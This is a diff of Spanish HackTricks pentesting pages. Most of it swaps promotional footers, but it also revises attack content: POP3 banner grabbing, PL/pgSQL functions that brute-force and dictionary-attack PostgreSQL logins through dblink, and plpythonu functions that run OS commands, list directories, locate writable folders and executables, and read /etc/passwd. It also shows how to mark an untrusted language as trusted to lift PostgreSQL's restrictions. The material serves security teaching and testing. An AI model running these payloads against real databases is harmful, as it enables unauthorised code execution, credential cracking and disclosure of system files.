* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) **grupo de Discord**](https://discord.gg/hRep4RUj7f) o al **grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud)
|
||||
*
|
||||
* .
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -64,22 +64,17 @@ Luego guarda el archivo y sal de todos los directorios y reconstruye el apk con
|
|||
|
||||
Finalmente, solo necesitas **firmar la nueva aplicación**. [Lee esta sección de la página Smali - Decompiling/\[Modifying\]/Compiling para aprender cómo firmarlo](smali-changes.md#sing-the-new-apk).
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
**Try Hard Security Group**
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
<summary><strong>Aprende hacking de AWS desde cero hasta héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Otras formas de apoyar a HackTricks:
|
||||
|
||||
* Si deseas ver tu **empresa anunciada en HackTricks** o **descargar HackTricks en PDF** revisa los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Obtén el [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs a los** [**repositorios de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -34,7 +34,7 @@ PORT STATE SERVICE
|
|||
```
|
||||
## Enumeración
|
||||
|
||||
### Captura de Banner
|
||||
### Captura de Banners
|
||||
```bash
|
||||
nc -nv <IP> 110
|
||||
openssl s_client -connect <IP>:995 -crlf -quiet
|
||||
|
@ -151,15 +151,17 @@ Note: sourced from https://github.com/carlospolop/legion
|
|||
Command: msfconsole -q -x 'use auxiliary/scanner/pop3/pop3_version; set RHOSTS {IP}; set RPORT 110; run; exit'
|
||||
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking de AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? o ¿quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén la [**merch oficial de PEASS y HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,30 +1,36 @@
|
|||
# Inyección de Cypher (neo4j)
|
||||
# Cypher Injection (neo4j)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
Consulta los siguientes blogs:
|
||||
Revisa los siguientes blogs:
|
||||
|
||||
* [https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits](https://www.varonis.com/blog/neo4jection-secrets-data-and-cloud-exploits)
|
||||
* [https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8](https://infosecwriteups.com/the-most-underrated-injection-of-all-time-cypher-injection-fa2018ba0de8)
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión de PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,29 +1,32 @@
|
|||
# Ataque de Fuerza Bruta de Contraseñas PL/pgSQL
|
||||
# PL/pgSQL Password Bruteforce
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS desde cero hasta experto con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Support HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Encuentra [más información sobre este ataque en el documento original](http://www.leidecker.info/pgshell/Having\_Fun\_With\_PostgreSQL.txt)**.
|
||||
|
||||
PL/pgSQL es un **lenguaje de programación completo** que va más allá de las capacidades de SQL al ofrecer **control procedural mejorado**. Esto incluye la utilización de bucles y diversas estructuras de control. Las funciones creadas en el lenguaje PL/pgSQL pueden ser invocadas por declaraciones SQL y desencadenadores, ampliando el alcance de las operaciones dentro del entorno de la base de datos.
|
||||
PL/pgSQL es un **lenguaje de programación completamente funcional** que se extiende más allá de las capacidades de SQL al ofrecer **control procedural mejorado**. Esto incluye la utilización de bucles y varias estructuras de control. Las funciones creadas en el lenguaje PL/pgSQL pueden ser invocadas por declaraciones SQL y triggers, ampliando el alcance de las operaciones dentro del entorno de la base de datos.
|
||||
|
||||
Puedes abusar de este lenguaje para pedirle a PostgreSQL que realice un ataque de fuerza bruta a las credenciales de los usuarios, pero estas deben existir en la base de datos. Puedes verificar su existencia usando:
|
||||
Puedes abusar de este lenguaje para pedir a PostgreSQL que fuerce las credenciales de los usuarios, pero debe existir en la base de datos. Puedes verificar su existencia usando:
|
||||
```sql
|
||||
SELECT lanname,lanacl FROM pg_language WHERE lanname = 'plpgsql';
|
||||
lanname | lanacl
|
||||
---------+---------
|
||||
plpgsql |
|
||||
```
|
||||
Por defecto, **crear funciones es un privilegio otorgado a PUBLIC**, donde PUBLIC se refiere a todos los usuarios en ese sistema de base de datos. Para prevenir esto, el administrador podría haber tenido que revocar el privilegio de USO del dominio PUBLIC:
|
||||
Por defecto, **crear funciones es un privilegio otorgado a PUBLIC**, donde PUBLIC se refiere a cada usuario en ese sistema de base de datos. Para prevenir esto, el administrador podría haber tenido que revocar el privilegio de USAGE del dominio PUBLIC:
|
||||
```sql
|
||||
REVOKE ALL PRIVILEGES ON LANGUAGE plpgsql FROM PUBLIC;
|
||||
```
|
||||
|
@ -34,13 +37,13 @@ lanname | lanacl
|
|||
---------+-----------------
|
||||
plpgsql | {admin=U/admin}
|
||||
```
|
||||
Ten en cuenta que para que el siguiente script funcione **la función `dblink` debe existir**. Si no existe, podrías intentar crearla con el siguiente comando:
|
||||
Nota que para que el siguiente script funcione **la función `dblink` necesita existir**. Si no existe, podrías intentar crearla con
|
||||
```sql
|
||||
CREATE EXTENSION dblink;
|
||||
```
|
||||
## Fuerza bruta de contraseñas
|
||||
## Fuerza Bruta de Contraseña
|
||||
|
||||
Aquí te mostramos cómo podrías realizar un ataque de fuerza bruta de contraseñas de 4 caracteres:
|
||||
Aquí se muestra cómo podrías realizar una fuerza bruta de contraseña de 4 caracteres:
|
||||
```sql
|
||||
//Create the brute-force function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -79,9 +82,9 @@ $$ LANGUAGE 'plpgsql';
|
|||
//Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
_Toma en cuenta que incluso el descifrado de 4 caracteres puede llevar varios minutos._
|
||||
_Note que incluso forzar 4 caracteres puede tardar varios minutos._
|
||||
|
||||
También podrías **descargar un diccionario de contraseñas** y probar solo esas contraseñas (ataque de diccionario):
|
||||
También podrías **descargar una lista de palabras** y probar solo esas contraseñas (ataque de diccionario):
|
||||
```sql
|
||||
//Create the function
|
||||
CREATE OR REPLACE FUNCTION brute_force(host TEXT, port TEXT,
|
||||
|
@ -116,14 +119,17 @@ $$ LANGUAGE 'plpgsql'
|
|||
-- Call the function
|
||||
select brute_force('127.0.0.1', '5432', 'postgres', 'postgres');
|
||||
```
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén el [**swag oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme en** **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,41 +1,41 @@
|
|||
# RCE with PostgreSQL Languages
|
||||
# RCE con Lenguajes de PostgreSQL
|
||||
|
||||
{% hint style="success" %}
|
||||
Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Aprende hacking en AWS de cero a héroe con</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Experto en Red Team de AWS de HackTricks)</strong></a><strong>!</strong></summary>
|
||||
<summary>Apoya a HackTricks</summary>
|
||||
|
||||
* ¿Trabajas en una **empresa de ciberseguridad**? ¿Quieres ver tu **empresa anunciada en HackTricks**? ¿O quieres tener acceso a la **última versión del PEASS o descargar HackTricks en PDF**? ¡Consulta los [**PLANES DE SUSCRIPCIÓN**](https://github.com/sponsors/carlospolop)!
|
||||
* Descubre [**La Familia PEASS**](https://opensea.io/collection/the-peass-family), nuestra colección exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* Obtén la [**merchandising oficial de PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* **Únete al** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **sígueme** en **Twitter** 🐦[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte tus trucos de hacking enviando PRs al** [**repositorio de hacktricks**](https://github.com/carlospolop/hacktricks) **y al** [**repositorio de hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
|
||||
* Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
|
||||
* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repositorios de github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
## Lenguajes de PostgreSQL
|
||||
|
||||
Es posible que la base de datos PostgreSQL a la que has accedido tenga diferentes **lenguajes de script instalados** que podrías aprovechar para **ejecutar código arbitrario**.
|
||||
|
||||
Puedes **ponerlos en funcionamiento**:
|
||||
La base de datos de PostgreSQL a la que tienes acceso puede tener diferentes **lenguajes de scripting instalados** que podrías abusar para **ejecutar código arbitrario**.
|
||||
|
||||
Puedes **hacer que se ejecuten**:
|
||||
```sql
|
||||
\dL *
|
||||
|
||||
SELECT lanname,lanpltrusted,lanacl FROM pg_language;
|
||||
```
|
||||
|
||||
La mayoría de los lenguajes de script que puedes instalar en PostgreSQL tienen **2 variantes**: la **confiable** y la **no confiable**. La versión **no confiable** tendrá un nombre **que termina en "u"** y será la versión que te permitirá **ejecutar código** y usar otras funciones interesantes. Estos son algunos lenguajes que resultan interesantes si se instalan:
|
||||
La mayoría de los lenguajes de scripting que puedes instalar en PostgreSQL tienen **2 sabores**: el **confiable** y el **no confiable**. El **no confiable** tendrá un nombre **terminado en "u"** y será la versión que te permitirá **ejecutar código** y usar otras funciones interesantes. Estos son lenguajes que, si están instalados, son interesantes:
|
||||
|
||||
* **plpythonu**
|
||||
* **plpython3u**
|
||||
* **plperlu**
|
||||
* **pljavaU**
|
||||
* **plrubyu**
|
||||
* ... (cualquier otro lenguaje de programación que utilice una versión insegura)
|
||||
* ... (cualquier otro lenguaje de programación que use una versión insegura)
|
||||
|
||||
{% hint style="warning" %}
|
||||
Si descubres que un lenguaje interesante está **instalado** pero es **no confiable** para PostgreSQL (**`lanpltrusted`** es **`false`**), puedes intentar **confiar en él** con la siguiente línea para que PostgreSQL no aplique restricciones:
|
||||
|
||||
Si encuentras que un lenguaje interesante está **instalado** pero **no confiable** por PostgreSQL (**`lanpltrusted`** es **`false`**) puedes intentar **confiarlo** con la siguiente línea para que no se apliquen restricciones por parte de PostgreSQL:
|
||||
```sql
|
||||
UPDATE pg_language SET lanpltrusted=true WHERE lanname='plpythonu';
|
||||
# To check your permissions over the table pg_language
|
||||
|
@ -44,8 +44,7 @@ SELECT * FROM information_schema.table_privileges WHERE table_name = 'pg_languag
|
|||
{% endhint %}
|
||||
|
||||
{% hint style="danger" %}
|
||||
Si no ves un idioma, puedes intentar cargarlo con (**necesitas ser superadmin**):
|
||||
|
||||
Si no ves un lenguaje, podrías intentar cargarlo con (**necesitas ser superadministrador**):
|
||||
```
|
||||
CREATE EXTENSION plpythonu;
|
||||
CREATE EXTENSION plpython3u;
|
||||
|
@ -55,10 +54,12 @@ CREATE EXTENSION plrubyu;
|
|||
```
|
||||
{% endhint %}
|
||||
|
||||
Ten en cuenta que es posible compilar las versiones seguras como "inseguras". Consulta [**este enlace**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) por ejemplo. Por lo tanto, siempre vale la pena intentar si puedes ejecutar código incluso si solo encuentras instalada la versión **confiable**.
|
||||
Tenga en cuenta que es posible compilar las versiones seguras como "inseguras". Consulte [**esto**](https://www.robbyonrails.com/articles/2005/08/22/installing-untrusted-pl-ruby-for-postgresql.html) como ejemplo. Así que siempre vale la pena intentar si puede ejecutar código incluso si solo encuentra instalada la **confiable**.
|
||||
|
||||
## plpythonu/plpython3u
|
||||
|
||||
{% tabs %}
|
||||
{% tab title="RCE" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION exec (cmd text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -71,7 +72,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT cmd("ls"); #RCE with popen or execve
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Obtener usuario del sistema operativo" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION get_user (pkg text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -83,7 +86,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT get_user(""); #Get user, para is useless
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Listar dir" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION lsdir (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -97,7 +102,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT lsdir("/"); #List dir
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Encontrar la carpeta W" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findw (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -124,7 +131,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findw("/"); #Find Writable folders from a folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Encontrar Archivo" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_file (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -157,7 +166,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_file("psql"); #Find a file
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Encontrar ejecutables" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION findx (dir text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -189,7 +200,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT findx("/"); #Find an executables in folder (recursively)
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Encontrar exec por subs" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION find_exe (exe_sea text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -222,7 +235,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
SELECT find_exe("psql"); #Find executable by susbstring
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Leer" %}
|
||||
```sql
|
||||
CREATE OR REPLACE FUNCTION read (path text)
|
||||
RETURNS VARCHAR(65535) stable
|
||||
|
@ -236,7 +251,9 @@ LANGUAGE 'plpythonu';
|
|||
|
||||
select read('/etc/passwd'); #Read a file in b64
|
||||
```
|
||||
{% endtab %}
|
||||
|
||||
{% tab title="Obtener permisos" %}
|
||||
```sql
|
||||
